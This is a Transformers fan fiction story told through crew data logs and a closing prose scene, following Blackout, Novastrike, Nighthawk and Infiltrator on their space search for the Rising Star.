Received a transmission from Nighthawk. Will be joining up with him and Infiltrator on planet Floron 3. Infiltrator mentioned something about speculating rumors that there was insecticide sold there. Has to be the oddest bit of random information I’ve ever received and from a dragon, of all things.

Data Log: Day 33 (Nighthawk’s Personal Files)

Its been a long flight. I’ll record more information later. For now, going to recharge. Blackout and Novastrike appear to be in one piece. The kind femme transferred some data to my pad that she said I may enjoy looking through. She gives my processor something to muse over, how such an easygoing and docile bot could show interest in someone so opposing in forces than herself.

Data Log: Day 40 (Infiltrator’s Personal Files)

DATA LOST. RECOVERING... DATA FOUND. TRANSLATING... IMAGE RECOVERY IN PROGRESS...

(There appears to be no words here, just photographs taken of alien hieroglyphs. Whatever text there may have been, if any, seems to be lost.)

Data Log: Day 46 (Blackout’s Personal Files)

No progress on our quest. Energon reserves are running a bit thinner than we’d like, so we have decided to ration portions by a marginal fraction per daily units. According to all of our starcharts, there is supposed to be no planetoids for lightyears. However, we got to experience a rare sight: the formation of a star. Novastrike seemed to enjoy it. It was nice to see her smile; it seems like ages since she last did so.

Data Log: Day 52 (Novastrike’s Personal Files)

These are my new favorite pics! Make sure Blackout doesn’t see these, he’ll never forgive me. (There appears to be images after a bit of scrolling. One if of Blackout smiling, another of him laughing, and yet another of him trying to scrub dirt from Scorponok. The next picture is blurry, and shows Nighthawk trying to scale Blackout to avoid a tiny, furry looking quadrapoid creature with large canines in numerous rows as Blackout attempts to step back and is obviously tripping over Infiltrator and Scorponok. Nova appears to have doddled something on this image: “They thought it was a scraplet for a nanoklik!” The final image simply shows Novastrike, taking a selfie holding the fuzzy creature. She’s grinning like an idiot, optics offline, with the faint shadows of Blackout and Nighthawk blurring in the background like they were moving swiftly to remove the creature from Novastrike’s arms.)

Data Log: Day 53 (Nighthawk’s Personal Files) ERROR - Data Omitted

[MISSING DATA: ERROR] I am never going back to that Unicron forsaken planet. [MISSING DATA: ERROR] Infiltrator says he managed to get a scan of that scraplet-look alike monstrosity. As predicted, it’s carnivorous. He witnessed one feeding on the aquatic species in a nearby riverbed. [MISSING DATA: ERROR] I wish I could say that femme was brave, but she doesn’t know the horrors a scraplet can do to a bot. So instead of calling her ‘crazy’, I’ll just go with ‘ill-informed’. As per Blackout’s request, I will not send her the video obtained of a hoard of scraplets feasting on a bot, but I think that some reading education may still be in order.

Data Log: Day 57 (Blackout’s Personal Files)

Nothing of importance to log today. No new discoveries. Nighthawk suggests we split up again to track more space once again. I feel like I’m losing my touch, but even Nighthawk of all bots urged me not to lose hope. Searching all of space is just as daunting as I thought it would be.

Data Log: Day 60 (Nighthawk’s Personal Files)

Infiltrator and I have been headed for the Alpha Centauri region. Will record further data later, as of now trying to avoid a belt of meteors in a field. Not entirely sure if we’ll be able to find out way out of this mess alone.

Data Log: Day 63 (Infiltrator’s Personal Files) ERROR - Data Omitted

Nighthawk and I spent the day patching up the Jaguar. Boss was pretty displeased with the damages, but I’m not even sure the most experienced flyer could have gotten through that mess in one piece. Rocks were smashing against each other and causing a vicious cycle of debris. [MISSING DATA: ERROR] Blackout seems to have received our transmission despite all the interference. Estimated arrival in 7 cycles or more.

Data Log: Day 73 (Novastrike’s Personal Files)

We were intercepted today by a small group of bots. Blackout got a bit battered, but the Jaguar didn’t sustain very much damage. We’ve decided to further investigate the area before we draw more attention to ourselves by sticking around, and moving on as soon as possible.

Data Log: Day 74 (Nighthawk’s Personal Files) ERROR – Data Omitted

Novastrike insisted on Blackout being repaired, despite the mech’s disapproval. Unfortunately for him, he had to be given a little medical suggestive aid from my tranquilizer darts. I don’t think he’ll be willingly coming to me for a while for repairs now. [MISSING DATA: ERROR] The planet appears to have dormant volcano of sorts, fascinating. Infiltrator and Scorponok were sent out to investigate, with the approval of the other bots, and bring me back samples. I very much look forward to studying the geographical landscape later and studying the rock formations. I wonder if single-cell microorganisms may exist here, or fossilized evidence thereof.

Data Log: Day 77 (Novastrike’s Personal Files)

No bot is quite sure, but Nighthawk and Blackout are feeling pretty positive they found a vapor trail left from a ship! Hard to believe; it’s so empty out here. I pray it’s the Rising Star. Primus and Guard be with us all, it would really lift the spirits around here if we could cut a break.

Data Log: Day 83 (Infiltrator’s Personal Files)

Blackmail. (There appears to only be an image left behind of Nighthawk, recharging, with Blackout obviously snickering just barely in frame. Upon closer examination, one can tell that Nighthawk’s frame has been decorated with the paints to give a false illusion of a feminine faceplate and frame.)

Data Log: Day 85 (Novastrike’s Personal Files)

Infiltrator shared with me an equally impressive photo I added to my collection. I still don’t know if Nighthawk’s ever going to try pulling out that dent he put in Blackout’s armor, but I hope he does. I mean, it wasn’t like he was physically hurt by Blackout’s little gag. It’s a bit funny though, that the time these two seem to be on their best behavior around each other is when I’m actually around and awake. I feel like I have magical powers of influence around them!

Data Log: Day 88 (Blackout’s Personal Files) ERROR – Data Omitted

Evidence of a ship has been through this area, recently. We’ll be pursing as soon as Nighthawk and Infiltrator have finished collecting their samples on yet another wayward planet. [MISSING DATA: ERROR]

Data Log: Day 90 (Nighthawk’s Personal Files)

[ERROR: LOG APPEARS TO HAVE BEEN WIPED CLEAN OF DATA... RETRIEVAL IN PROCESS... ACCESS DENIED. PLEASE TRY AGAIN.]

Data Log: Day 95 (Nighthawk’s Personal Files)

(There appears to only be images taken from a planet. They appear to resemble an extinct species glyphs and images depicting their history. The only note at the bottom is a simple state: ‘Process later. No obvious signs of life on this planet any longer. Perhaps gone, went off planet, or hiding underground?’.)

Breathing in loudly with excitement, Novastrike pressed her face against Blackout’s viewing panel. He gave a quiet grunt as he had to readjust some of his control panel; knobs moving and levers readjusting carefully.

“Nova, dear, I told you not to touch any of these. They’re sensitive.” he growled softly.

“Oh, sorry!” she squeaked, leaning off of him. She pressed her forehead lightly against the glass as she arched her back to better lean in.

Giving a quiet chuckle, the mech spoke quietly through his alt-mode, “Enjoying the view?”

“Yes!” she gasped. “Look at that planet! Look at it’s rings; they’re glorious!”

Giving a slight chuckle that echoed through his form, Blackout replied lightly, “I’ve seen far more glorious depictions before my optics.”

Sticking her glossia out, the petite femme gave a light swish of her tail to knock lightly against a portion side of his control panel; careful not to touch anything of importance.

Static crackled quietly through the obsidian space vessel as Nighthawk reported over the comm channel, “I have to agree with Novastrike. Absolutely fascinating. It appears that planet is shedding its rings though, sad to say. My scanners indicate that the equator and gravitational pull coming from the epicenter of that planet is pulling its own rings down in the atmosphere.”

“Oh,” Novastrike breathed. “That’s a shame. It’ll lose some of its beauty and charm.”

“Worlds are ever changing, little pupil,” Nighthawk sagely remarked. “That makes them no less beautiful than they are. Planets are constantly in a shift of development; growth and decay.”

“Is that what happened to Cybertron?” Blackout snorted. “We’re just in the decay part of all that scrap you just said?”

“No,” icily responded the seeker. “What happened to Cybertron is a lack of our concern for our own homeworld that damaged it so severely.”

“Cybertron will recover though,” the dragon added on quietly. “So long as we do not meddle in His healing process.”

“You think it’ll be inhabitable again one day soon?” Nova whispered, sighing with longing as she sank down to her knees. Her body flipped over, backstrut pressed into her escort’s control panel as she glanced out at the distant, twinkling lights and blueish toned planet far off in the distance.

There was a quiet silence between all the mechs. The small femme’s ears began to falter, and slowly drop.

“There’s no telling,” admitted the medic. “None of us have exactly seen our homeworld in many, many, many years now. But eventually, Cybertron will be healthy and we’ll be able to return there. Don’t give up hope.”

For Guard’s sake and in his memory, she would not. She remembered just how much he prayed that they would be able to go back one day. It was his dream to bring every bot he could back home, and she wanted to try fulfilling his goals as much as she could.

Inside of himself, the dark armored mech dimmed the lights as Novastrike recharged. He managed to get his holoform functional for a brief time, no matter how weird it felt to think about that his nanoties were creating a false impression of himself inside of himself.

Blackout picked her up and sat her into the chair, which unhinged at a point to lean back so she could lay at an angle. She muttered sleepily as she dreamed, curling her limbs into herself. His holoform smirked for a nanoklik as he looked down at her precious face, the soft lines of light bands moving against her before it flickered offline.

“My sensors indicate that the trail we’ve been following is getting stronger,” Nighthawk reported over the comm link.

Speaking in the quietest voice, Blackout huskily responded, “As do mine.”

“Why are we whispering?”

“Novastrike’s recharging.”

“Ah,” the medic murmured in a quieter voice. “My apologies.”

Blackout’s viewing screens shifted around, looking back at the giant orb of a planet and the array of space rocks they’d passed by a while back. His thrusters gave a quiet growl as he arced out wide from the brownish hued planet. Its radius was far smaller than those prior to the intergalactic debris they’d just went soaring through.

The Jaguar, to Blackout’s right, went zipping by him before returning to an idle pace once again. Nighthawk flicked a mocking salute at him as he passed.

“Proud of your little ship, aren’t you?” Blackout sneered.

“Beats your slow aft, that’s for sure.”

“I’m built to withstand blows from much bigger bots and heartier attacks. Your dinky little vessel is meant for what, a stroll around Iacon?”

“More like Crystal City,” teased the medic. “That’s where the majority of the scientific community used to be, anyway.”

“Yawn.”

“Don’t you dare insult the mathematical ingenious of my peers.”

“Your peers?” Blackout snickered. “Like who? Shockwave?”

“Ugh, don’t speak that deplorable name around me,” the mech stated with an obvious sense of distaste. “That mech is mad. Fusing bots together, dismembering them, his war machines and his mutants. There’s no science in that mech. His logic sensors are broken. All he delves in is chaos and revealing in the destruction he creates.”

“Like any good Decepticon would.”

There was a curious hum that came through the comm channel from Nighthawk.

“Do you miss it?”

“Miss what?” Blackout growled, irritated now.

“Being a Decepticon. Do you miss it at all?”

The dark mech went silent. As he thought over the medic’s words carefully, a shadow descended upon his screen, blotting out the light from above.

“Uh... Blackout,” Nighthawk quietly spoke over the comm channel. Whipping his form to the right hard, the former Hound gave a quiet snarl as he pulled out as far from the ship as he could that came upon him out of seemingly nowhere. Novastrike turned over in the seat as he turned, muttering as she slid down somewhat in her seat.

Banking hard, the mech moved his viewers to look at the side of the ship for a sign or identification series on while he climbed up to see the side of the ship.

“I don’t believe it,” he stated with shock, his voice carrying into the Jaguar as Nighthawk stared speechlessly at the vessel before them.

#quid pro quo au #OTP AU #OTP Lit #Cute OTP #OTP Friends

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